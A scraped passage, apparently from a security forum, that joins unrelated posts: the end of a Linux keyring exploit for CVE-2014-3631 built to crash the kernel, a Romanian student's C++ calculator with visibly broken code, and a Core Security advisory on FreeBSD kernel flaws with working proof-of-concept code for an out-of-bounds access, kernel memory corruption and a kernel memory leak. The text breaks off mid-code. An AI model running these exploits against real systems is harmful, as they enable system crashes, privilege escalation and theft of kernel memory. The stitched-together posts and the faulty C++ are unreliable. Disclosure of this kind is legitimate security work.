add_key("keyring",kname,NULL,0,topKey); if(currentKey == -1) { printf("[cve_2014_3631 error]: keyring fault\n"); perror("add_key"); return -1; } } /* Entering exploit critical code */ printf("[cve_2014_3631]: Exploit!\n"); // Set timeout and wait for garbage collector keyctl_set_timeout(currentKey, 2); // Wait for garbage collector printf("[cve_2014_3631]: Exploit triggered, system will panic in %d seconds..\n",delay); return 0; } Source
  11. Mai erau de adaugat o groaza de algoritmi dar ajunge atat. Multumesc pentru ajutor @nedo #include<iostream> #include<conio.h> #include<math.h> #include<vector> #include<string> using namespace std; int main(){ int alege,prog=0,n,test=0,test1,test2=1,w,z,r; float a,b,c,x1,x2,delta,x,real,img; char alege1,ec; string input; char choise = ' '; restart: cout <<"1.Calculator\n"; cout <<"2.Ecuatia de gradul intai\n"; cout <<"3.Ecuatia de gradul 2\n"; cout <<"4.Progresii\n"; cout <<"5.Cmmdc\n"; cout <<"6.Exit\n"; cout <<"Alege (1,2,3..6): ";cin>>alege; switch(alege){ case 1 : cout <<"\nFelicitari , ai ales 'Calculatorul'\n\n"; operatii: cout <<"a)Inmultire\n"; cout <<"b)Impartire\n"; cout <<"c)Adunare\n"; cout <<"d)Scadere\n"; cout <<"Alege operatia dorita: ";cin>>alege1; switch(alege1){ case 'a' : cout <<"Ai ales operatia de inmultire calculeaza acum\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a*b<<endl; break; case 'b' : cout <<"Ai ales operatia de impartire calculeaza acum\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a/b<<endl; break; case 'c' : cout <<"Ai ales operatia de adunare calculeaza acum\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a+b<<endl; break; case 'd' : cout <<"Ai ales operatia de scadere calculeaza acum\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a-b<<endl; break; default : cout <<"Alegere gresita . Alege doar dintre 'a' , 'b' , 'c' si 'd'";} break; cout <<"\nDoresti sa revii in meniul de operatii ?[Y/N]"; choise=_getch(); if (choise == 'n') goto operatii; case 2 : cout <<"Felicitari , ai ales 'Ecuatia de gradul intai'\n"; cout <<"Alege tipul de ecuatie\n"; cout <<"a) ax+b=0\n"; cout <<"Alege : "; cin>>ec; if (ec == 'a'){ cout<<"Dati valoarea lui a = "; cin>>a; cout<<"Dati valoarea lui b = "; cin>>b; if (a == 0) if (b == 0) cout <<"Ecuatie nedeterminata"; else cout <<"Ecuatie imposibila"; else { x=-b/a; cout <<"Rezultatul este: "<<x<<endl;}} break; case 3 : cout <<"Felicitari , ai ales 'Ecuatia de gradul doi'\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"c=";cin>>c; delta = b*b-4*a*c; if (a==0) cout <<"Ecuatia de gradul 1"; else { delta=b*b-4*a*c; if(delta >= 0) { cout<<"Radacini reale: "; x1=(-b+sqrt(delta))/(2*a); x2=(-b-sqrt(delta))/(2*a); cout<<"x1 = "<<x1<<" x2 = "<<x2; } else { cout<<"Radacini complexe :"; delta=-delta; real=-b/(2*a); img=sqrt(delta)/(2*a); cout<<"x1 = "<<real<<" + i*"<<img<<"\n"; cout<<"x2 = "<<real<<" - i*\n"<<img; } } break; case 4 : cout <<"Felicitari , ai ales 'Progresii' , acum va trebui sa alegi tipul de progresie\n"; reset: cout <<"a)Progresii aritmetice\n"; cout <<"b)Progresii geometrice\n"; cout <<"Alege cu 'a' sau 'b': ";cin>>choise; if (choise == 'a') { cout <<"Ai ales progresiile aritmetice , poti da sirul de numere\n"; vector<float> sir; cout <<"Adauga sirul : [apasa 0 cand ai terminat, orice alt tip de caracter va fi ignorat]\n"; do { cin >>input; prog = atoi(input.c_str());// transformam in numar(daca in input e un sir de caractere, chiar si urmat de cifre, functia va returna 0) if(prog == 0) //prog = - 1; continue; // iesim daca s-a introdus un sir de caractere sir.push_back(prog); }while (input != "0"); int dif = 0; int difVeche = 0; bool first = true; bool ok = false; for(int i = 1; i < sir.size();i++) { if(first) { dif = sir - sir[i - 1]; difVeche = dif; first= false; continue; } dif = sir - sir[i - 1]; if(dif != difVeche) { cout << "Sirul nu este in progresie aritmetica." << endl; ok = false; break; } ok = true; if(ok) cout << "Sirul este in progresie aritmetica cu ratia " <<dif<< endl; cout <<"Sirul are " <<sir.size()<< " elemente\n"; cout <<"Doresti sa calculezi suma primilor n termeni? [Y/N] \n"; choise = getch(); if (choise == 'n') goto reset; else cout <<"Ce termen doresti sa calculezi? ";cin>>test; test1=sir[0]+(sir.size()-1)*dif; cout <<"Termenul " <<test<< " este egal cu " <<test1; break; } } if (choise == 'b') { cout <<"Ai ales progresiile geometrice , poti da sirul de numere\n"; vector<float> sir; cout <<"Adauga sirul : [apasa 0 cand ai terminat, orice alt tip de caracter va fi ignorat]\n"; do { cin >>input; prog = atoi(input.c_str());// transformam in numar(daca in input e un sir de caractere, chiar si urmat de cifre, functia va returna 0) if(prog == 0) //prog = - 1; continue; // iesim daca s-a introdus un sir de caractere sir.push_back(prog); }while (input != "0"); int q = 0; int q1 = 0; bool first = true; bool ok = false; for(int i = 1; i < sir.size();i++) { if(first) { q = sir / sir[i - 1]; q1 = q; first= false; continue; } q = sir / sir[i - 1]; if(q != q1) { cout << "Sirul nu este in progresie geometrica." << endl; ok = false; break; } ok = true; if(ok) cout << "Sirul este in progresie geometrica cu ratia " <<q<< endl; cout <<"Sirul are " <<sir.size()<< " elemente\n"; cout <<"Doresti sa calculezi suma primilor n termeni? [Y/N] \n"; choise = getch(); if (choise == 'n') goto reset; else cout <<"Ce termen doresti sa calculezi? ";cin>>test; float a=pow(q , test-1); //bn = b1·qn-1 test2=sir[0]*a; cout <<"Termenul " <<test<< " este egal cu \n" <<test2; break; } } break; case 5 : cout <<"Felicitari ai ales 'cmmdc'\n"; cout<<"a=";cin>>w; cout<<"b=";cin>>z; while(w!=z) if(w> w=w-z; else z=z-w; cout<<"Cmmdc : "<<z; break; default : cout <<"Nu exista aceasta optiune";} goto restart; getchar(); cin.ignore(cin.rdbuf()->in_avail() +1); return 0; }
  12. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ FreeBSD Kernel Multiple Vulnerabilities 1. *Advisory Information* Title: FreeBSD Kernel Multiple Vulnerabilities Advisory ID: CORE-2015-0003 Advisory URL: http://www.coresecurity.com/content/freebsd-kernel-multiple-vulnerabilities Date published: 2015-01-27 Date of last update: 2015-01-27 Vendors contacted: FreeBSD Release mode: Coordinated release 2. *Vulnerability Information* Class: Unsigned to Signed Conversion Error [CWE-196], Improper Validation of Array Index [CWE-129], Improper Validation of Array Index [CWE-129] Impact: Code execution, Denial of service Remotely Exploitable: No Locally Exploitable: Yes CVE Name: CVE-2014-0998, CVE-2014-8612, CVE-2014-8612 3. *Vulnerability Description* FreeBSD is an advanced computer operating system used to power modern servers, desktops and embedded platforms. A large community has continually developed it for more than thirty years. Its advanced networking, security and storage features have made FreeBSD the platform of choice for many of the busiest web sites and most pervasive embedded networking and storage devices. Multiple vulnerabilities have been found in the FreeBSD kernel code that implements the vt console driver (previously known as Newcons) and the code that implements SCTP sockets. These vulnerabilities could allow local unprivileged attackers to disclose kernel memory containing sensitive information, crash the system, and execute arbitrary code with superuser privileges. 4. *Vulnerable packages* . FreeBSD 10.1-RELEASE. Other versions may be affected too but they were no checked. 5. *Non-vulnerable packages* . FreeBSD 10.1-RELENG. 6. *Vendor Information, Solutions and Workarounds* The FreeBSD team has released patches for the reported vulnerabilities. You should upgrade to FreeBSD 10.1-RELENG or one of the following releases: . stable/10, 10.1-STABLE . releng/10.1, 10.1-RELEASE-p5 . releng/10.0, 10.0-RELEASE-p17 . stable/9, 9.3-STABLE . releng/9.3, 9.3-RELEASE-p9 . stable/8, 8.4-STABLE . releng/8.4, 8.4-RELEASE-p23 The vendor publish a security Advisory that can be accessed here[6]. 7. *Credits* This vulnerability was discovered and researched by Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* 8.1. *FreeBSD vt Driver VT_WAITACTIVE Sign Conversion Vulnerability* [CVE-2014-0998] FreeBSD 10.1-RELEASE added[1] the 'vt(4)'[2] console driver (previously known as Newcons[3]). This new console driver can be enabled by adding the line 'kern.vty=vt' to the '/boot/loader.conf' file and then rebooting the system. The vt console driver is prone to a sign conversion error when handling the 'VT_WAITACTIVE' ioctl message, which can be ultimately leveraged by a local unprivileged attacker to make the kernel access an array outside of its boundaries. The vt console driver provides multiple virtual terminals, which are mapped to the '/dev/ttyv*' device nodes. A user can send messages to the vt driver by opening the '/dev/ttyv*' device node belonging to his virtual terminal and then using the 'ioctl' system call. The function 'vtterm_ioctl' in 'sys/dev/vt/vt_core.c' handles ioctl messages sent to the vt driver. One of the supported messages is called 'VT_WAITACTIVE': /----- static int vtterm_ioctl(struct terminal *tm, u_long cmd, caddr_t data, struct thread *td) { int error, i, s; [...] switch (cmd) { [...] case VT_WAITACTIVE: error = 0; i = *(unsigned int *)data; if (i > VT_MAXWINDOWS) return (EINVAL); if (i != 0) vw = vd->vd_windows[i - 1]; [...] -----/ As shown above, when handling the 'VT_WAITACTIVE' ioctl message, the 'data' input buffer (which is fully controlled by the local user) is casted as '(unsigned int *)' in order to read an 'unsigned int' from the input data; however, the read value is stored in the 'i' variable, which has *signed* type 'int'. This sign conversion error will make possible for a local attacker to bypass the subsequent boundary check that tries to ensure that 'i' is not greater than 'VT_MAXWINDOWS' before using it as an index to access the 'vd->vd_windows' array. This flaw can be leveraged by a local attacker to make the kernel access the 'vd->vd_windows' array outside of its boundaries. The following disassembly snippet represents the vulnerable code in the FreeBSD kernel binary ('/boot/kernel/kernel'): /----- vtterm_ioctl+1306 loc_C09B2506: ; CODE XREF: vtterm_ioctl+D6Cj vtterm_ioctl+1306 cmp esi, 20047606h ; case VT_WAITACTIVE: vtterm_ioctl+130C mov ecx, edx ; ecx = vd->vd_windows vtterm_ioctl+130E mov eax, ebx vtterm_ioctl+1310 jnz loc_C09B275B vtterm_ioctl+1316 mov eax, [eax] ; i = *(unsigned int *)data; vtterm_ioctl+1318 cmp eax, 0Ch ; if (i > VT_MAXWINDOWS)... vtterm_ioctl+131B mov edi, 16h vtterm_ioctl+1320 jg loc_C09B2760 ; *** signed comparison! vtterm_ioctl+1326 test eax, eax ; if (i != 0)... vtterm_ioctl+1328 jz short loc_C09B2531 vtterm_ioctl+132A mov eax, [ecx+eax*4-4] ; **** vw = vd->vd_windows[i - 1]; ---> access vd->vd_windows outside of its boundaries vtterm_ioctl+132E mov [ebp+var_30], eax -----/ 8.2. *FreeBSD SCTP Socket SCTP_SS_VALUE Memory Corruption Vulnerability* [CVE-2014-8612] FreeBSD implements the Stream Control Transmission Protocol (SCTP).[4]. A userland application can use the 'getsockopt/setsockopt' system calls in order to manipulate the options associated with an SCTP socket. The FreeBSD kernel is prone to a memory corruption vulnerability when setting the 'SCTP_SS_VALUE' SCTP socket option via the 'setsockopt' system call. This vulnerability can be leveraged by a local unprivileged attacker to corrupt kernel memory with an arbitrary 16-bit value. The handling of the 'setsockopt' system call at the SCTP level is performed by the function 'sctp_setopt' [file 'sys/netinet/sctp_userreq.c']: /----- static int sctp_setopt(struct socket *so, int optname, void *optval, size_t optsize, void *p) { [...] switch (optname) { [...] case SCTP_SS_VALUE: { struct sctp_stream_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_stream_value, optsize); SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { if (stcb->asoc.ss_functions.sctp_ss_set_value(stcb, &stcb->asoc, &stcb->asoc.strmout[av->stream_id], av->stream_value) < 0) { -----/ As shown above, when handling the 'SCTP_SS_VALUE' socket option, the 'optval' option value (which is fully controlled by the local user), is casted to the 'struct sctp_stream_value *' type and stored into the 'av' variable by using the 'SCTP_CHECK_AND_CAST' macro. After that, if the 'sctb' pointer is not 'NULL' (condition that can be achieved by having the SCTP socket in a *connected* state), then the 'stcb->asoc.ss_functions.sctp_ss_set_value' function pointer is called. The third argument for this function is '&stcb->asoc.strmout[av->stream_id]'. As can be seen, the unstrusted 'av->stream_id' value (which is fully controlled by the local attacker) is used as an index within the 'stcb->asoc.strmout' array without properly checking if it's within the bounds of the array. However, note that the memory address calculated using the untrusted index is not dereferenced yet; just the calculated address is passed as an argument to the function, so there is still no memory access at this point. 'stcb->asoc.ss_functions' has type 'struct sctp_ss_functions', which is a struct defined in the file 'sys/netinet/sctp_structs.h' containing several function pointers. One of its members is 'sctp_ss_set_value', which is the one being called when handling the 'SCTP_SS_VALUE' socket option: /----- /* * RS - Structure to hold function pointers to the functions responsible * for stream scheduling. */ struct sctp_ss_functions { void (*sctp_ss_init) (struct sctp_tcb *stcb, struct sctp_association *asoc, int holds_lock); void (*sctp_ss_clear) (struct sctp_tcb *stcb, struct sctp_association *asoc, int clear_values, int holds_lock); void (*sctp_ss_init_stream) (struct sctp_stream_out *strq, struct sctp_stream_out *with_strq); void (*sctp_ss_add_to_stream) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, struct sctp_stream_queue_pending *sp, int holds_lock); int (*sctp_ss_is_empty) (struct sctp_tcb *stcb, struct sctp_association *asoc); void (*sctp_ss_remove_from_stream) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, struct sctp_stream_queue_pending *sp, int holds_lock); struct sctp_stream_out *(*sctp_ss_select_stream) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc); void (*sctp_ss_scheduled) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc, struct sctp_stream_out *strq, int moved_how_much); void (*sctp_ss_packet_done) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc); int (*sctp_ss_get_value) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t * value); int (*sctp_ss_set_value) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t value); }; -----/ The file 'sys/netinet/sctp_ss_functions.c' defines an array called 'sctp_ss_functions'; each element of this array has type 'struct sctp_ss_functions' and defines a set of function pointers suitable for different SCTP socket options: /----- struct sctp_ss_functions sctp_ss_functions[] = { /* SCTP_SS_DEFAULT */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_default_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_default_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_ROUND_ROBIN */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_rr_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_default_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_ROUND_ROBIN_PACKET */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_rr_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_rrp_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_rrp_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_PRIORITY */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_prio_clear, .sctp_ss_init_stream = sctp_ss_prio_init_stream, .sctp_ss_add_to_stream = sctp_ss_prio_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_prio_remove, .sctp_ss_select_stream = sctp_ss_prio_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_prio_get_value, .sctp_ss_set_value = sctp_ss_prio_set_value }, /* SCTP_SS_FAIR_BANDWITH */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_fb_clear, .sctp_ss_init_stream = sctp_ss_fb_init_stream, .sctp_ss_add_to_stream = sctp_ss_fb_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_fb_remove, .sctp_ss_select_stream = sctp_ss_fb_select, .sctp_ss_scheduled = sctp_ss_fb_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_FIRST_COME */ { .sctp_ss_init = sctp_ss_fcfs_init, .sctp_ss_clear = sctp_ss_fcfs_clear, .sctp_ss_init_stream = sctp_ss_fcfs_init_stream, .sctp_ss_add_to_stream = sctp_ss_fcfs_add, .sctp_ss_is_empty = sctp_ss_fcfs_is_empty, .sctp_ss_remove_from_stream = sctp_ss_fcfs_remove, .sctp_ss_select_stream = sctp_ss_fcfs_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value } }; -----/ Note that the value for the 'sctp_ss_set_value' field is *almost* always set to 'sctp_ss_default_set_value', which is just a dummy function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_default_set_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq SCTP_UNUSED, uint16_t value SCTP_UNUSED) { /* Nothing to be done here */ return (-1); } -----/ The only case in which the 'sctp_ss_set_value' field is set to a different value is in the 4th element of the array, which corresponds to the 'SCTP_SS_PRIORITY' socket option; in that case, the function pointer is set to 'sctp_ss_prio_set_value', which is a function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_prio_set_value(struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t value) { if (strq == NULL) { return (-1); } strq->ss_params.prio.priority = value; sctp_ss_prio_remove(stcb, asoc, strq, NULL, 1); sctp_ss_prio_add(stcb, asoc, strq, NULL, 1); return (1); } -----/ The 'value' parameter is fully controlled by the attacker, and the actual value of the 'strq' pointer parameter is the address '&stcb->asoc.strmout[av->stream_id]' in which the attacker can set the 'av->stream_id' index beyond the boundaries of the array, so this function will provide a write-what-where memory corruption primitive when doing the 'strq->ss_params.prio.priority = value' assignment. This memory corruption vulnerability allows a local unprivileged attacker to overwrite kernel memory outside of the 'stcb->asoc.strmout' array with an arbitrary 'uint16_t' value. In order to make use of the 'sctp_ss_prio_set_value' function, the attacker needs to set up the 'stcb->asoc.ss_functions' struct with the function pointers belonging to the 'SCTP_SS_PRIORITY' socket option. This can be done by hitting the following code in the 'sctp_setopt' function; as can be seen, the 'stcb->asoc.ss_functions' struct can be properly set up for the attack by setting an 'SCTP_PLUGGABLE_SS' socket option with an option value of type 'struct sctp_assoc_value' having its 'assoc_value' field set to 'SCTP_SS_PRIORITY' (see the 'stcb->asoc.ss_functions = sctp_ss_functions[av->assoc_value] ' statement): /----- case SCTP_PLUGGABLE_SS: { struct sctp_assoc_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_assoc_value, optsize); /* Checks if av->assoc_value is a valid index within the sctp_ss_functions array */ if ((av->assoc_value != SCTP_SS_DEFAULT) && (av->assoc_value != SCTP_SS_ROUND_ROBIN) && (av->assoc_value != SCTP_SS_ROUND_ROBIN_PACKET) && (av->assoc_value != SCTP_SS_PRIORITY) && (av->assoc_value != SCTP_SS_FAIR_BANDWITH) && (av->assoc_value != SCTP_SS_FIRST_COME)) { SCTP_LTRACE_ERR_RET(inp, NULL, NULL, SCTP_FROM_SCTP_USRREQ, EINVAL); error = EINVAL; break; } SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { stcb->asoc.ss_functions.sctp_ss_clear(stcb, &stcb->asoc, 1, 1); /* The function pointers struct is set up here!!! */ stcb->asoc.ss_functions = sctp_ss_functions[av->assoc_value]; stcb->asoc.stream_scheduling_module = av->assoc_value; stcb->asoc.ss_functions.sctp_ss_init(stcb, &stcb->asoc, 1); SCTP_TCB_UNLOCK(stcb); -----/ 8.3. *FreeBSD SCTP Socket SCTP_SS_VALUE Kernel Memory Disclosure Vulnerability* [CVE-2014-8612] The third vulnerability is closely related to the second one. The FreeBSD kernel is prone to a kernel memory disclosure when reading the value of the 'SCTP_SS_VALUE' SCTP socket option via the 'getsockopt' system call, which allows local unprivileged attackers to read 16-bit values belonging to the kernel memory space. The handling of the 'getsockopt' system call at the SCTP level is performed by the function 'sctp_getopt' [file 'sys/netinet/sctp_userreq.c']: /----- static int sctp_getopt(struct socket *so, int optname, void *optval, size_t *optsize, void *p) { [...] switch (optname) { [...] case SCTP_SS_VALUE: { struct sctp_stream_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_stream_value, *optsize); SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { if (stcb->asoc.ss_functions.sctp_ss_get_value(stcb, &stcb->asoc, &stcb->asoc.strmout[av->stream_id], &av->stream_value) < 0) { -----/ When handling the 'SCTP_SS_VALUE' socket option, the 'optval' option value (which is fully controlled by the local attacker), is casted to the 'struct sctp_stream_value *' type and stored into the 'av' variable by using the 'SCTP_CHECK_AND_CAST' macro. After that, if the 'sctb' pointer is not 'NULL' (condition that can be achieved by having the SCTP socket in a *connected* state), the 'stcb->asoc.ss_functions.sctp_ss_get_value' function pointer is called. The third argument for this function is '&stcb->asoc.strmout[av->stream_id]'. As can be seen, the unstrusted 'av->stream_id' value (which is fully controlled by the local attacker) is used as an index within the 'stcb->asoc.strmout' array without properly checking if it's within the bounds of the array. The default value for the 'sctp_ss_get_value' function pointer is 'sctp_ss_default_get_value', which is just a dummy function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_default_get_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq SCTP_UNUSED, uint16_t * value SCTP_UNUSED) { /* Nothing to be done here */ return (-1); } -----/ The only useful possible value for this function pointer is 'sctp_ss_prio_get_value', which belongs to the function pointers of the 'SCTP_SS_PRIORITY' socket option: /----- static int sctp_ss_prio_get_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq, uint16_t * value) { if (strq == NULL) { return (-1); } *value = strq->ss_params.prio.priority; return (1); } -----/ The actual value of the 'strq' pointer parameter is the address '&stcb->asoc.strmout[av->stream_id]' in which the attacker can set the 'av->stream_id' index beyond the boundaries of the array, so this function will allow a local unprivileged attacker to read an 'uint16_t' value belonging to the kernel memory outside of the 'stcb->asoc.strmout' array when doing the '*value = strq->ss_params.prio.priority' assignment. In order to make use of the 'sctp_ss_prio_get_value' function, the attacker needs to set up the 'stcb->asoc.ss_functions' struct with the function pointers belonging to the 'SCTP_SS_PRIORITY' socket option, as it was previously explained for the second vulnerability. 8.4. *Proof of Concept* The following code is a Proof of Concept for the first vulnerability: /----- #include <stdio.h> #include <sys/consio.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ int fd; printf("** FreeBSD vt Driver VT_WAITACTIVE Sign Conversion Vulnerability PoC **\n"); if (argc < 2){ printf("\nUsage: ./poc_vt </dev/ttyv*>, where ttyv* is your current virtual terminal.\n"); printf("\nExample: ./poc_vt /dev/ttyv1\n\n"); exit(1); } fd = open(argv[1], O_RDONLY); if (fd == -1){ perror("open"); exit(1); } /* 0x90919293 is a negative number when it's interpreted as a signed int, thus it will bypass the * (signed) boundary check that tries to guarantee that this value is not greater than VT_MAXWINDOWS (12). * This value will be ultimately used as an index to access the vd->vd_windows array. */ if (ioctl(fd, VT_WAITACTIVE, (void *) 0x90919293) == -1){ perror("ioctl"); } close(fd); return 0; } -----/ The following code is a Proof of Concept for the second vulnerability: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <netinet/sctp_uio.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd; struct sockaddr_in addr; struct sctp_initmsg init; struct sctp_stream_value stream_value; struct sctp_assoc_value assoc_value; socklen_t opt_len; printf("** FreeBSD SCTP Socket SCTP_SS_VALUE Memory Corruption Vulnerability PoC **\n"); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&init, 0, sizeof(init)); init.sinit_num_ostreams = 2048; if (setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, (socklen_t)sizeof(struct sctp_initmsg)) < 0) { perror("SCTP_INITMSG"); goto out; } memset(&addr, 0, sizeof(addr)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("connect"); goto out; } /* Set up the stcb->asoc.ss_functions struct with the function pointers belonging to the SCTP_SS_PRIORITY socket option */ memset(&assoc_value, 0, sizeof(assoc_value)); assoc_value.assoc_value = SCTP_SS_PRIORITY; assoc_value.assoc_id = SCTP_CURRENT_ASSOC; if (setsockopt(fd, IPPROTO_SCTP, SCTP_PLUGGABLE_SS, &assoc_value, (socklen_t)sizeof(struct sctp_assoc_value)) < 0){ perror("setting up function pointers"); goto out; } memset(&stream_value, 0, sizeof(stream_value)); stream_value.assoc_id = SCTP_CURRENT_ASSOC; /* * stream_id will be used as an index into the stcb->asoc.strmout array without performing bounds checking. * stream_value will be written to the calculated address. */ stream_value.stream_id = 0xFFFF; stream_value.stream_value = 0x4142; /* Triggering the vulnerability... */ if (setsockopt(fd, IPPROTO_SCTP, SCTP_SS_VALUE, &stream_value, (socklen_t)sizeof(struct sctp_stream_value)) < 0){ perror("triggering the vulnerability"); goto out; } out: if (close(fd) < 0) { perror("close"); } return(0); } -----/ The following code is a Proof of Concept for the third vulnerability: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <netinet/sctp_uio.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd; struct sockaddr_in addr; struct sctp_initmsg init; struct sctp_stream_value stream_value; struct sctp_assoc_value assoc_value; socklen_t opt_len; printf("** FreeBSD SCTP Socket SCTP_SS_VALUE Kernel Memory Disclosure Vulnerability **\n"); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&init, 0, sizeof(init)); init.sinit_num_ostreams = 2048; if (setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, (socklen_t)sizeof(struct sctp_initmsg)) < 0) { perror("SCTP_INITMSG"); goto out; } memset(&addr, 0, sizeof(addr)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("connect"); goto out; } /* Set up the stcb->asoc.ss_functions struct with the function pointers belonging to the SCTP_SS_PRIORITY socket option */ memset(&assoc_value, 0, sizeof(assoc_value)); assoc_value.assoc_value = SCTP_SS_PRIORITY; assoc_value.assoc_id = SCTP_CURRENT_ASSOC; if (setsockopt(fd, IPPROTO_SCTP, SCTP_PLUGGABLE_SS, &assoc_value, (socklen_t)sizeof(struct sctp_assoc_value)) < 0){ perror("setting up function pointers"); goto out; } memset(&stream_value, 0, sizeof(stream_value)); opt_len = sizeof(stream_value); stream_value.assoc_id = SCTP_CURRENT_ASSOC; /* stream_id will be used as an index into the stcb->asoc.strmout array without performing bounds checking. */ stream_value.stream_id = 0x400; /* Triggering the vulnerability... */ if (getsockopt(fd, IPPROTO_SCTP, SCTP_SS_VALUE, &stream_value, &opt_len) < 0){ perror("triggering the vulnerability"); goto out; } printf("[*] Value leaked from kernel: 0x%04X\n", stream_value.stream_value); out: if (close(fd) < 0) { perror("close"); } return(0); } -----/ Note that both the second and third PoCs try to connect to a dummy SCTP server listening on localhost on port 4444, since the SCTP socket needs to be in a 'connected' state in order to trigger the vulnerabilities. The following code, based on the example code published here[5], can be used to run a simple SCTP server listening on port 4444: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <unistd.h> #define BUFFER_SIZE (1<<16) #define PORT 4444 #define ADDR "127.0.0.1" int 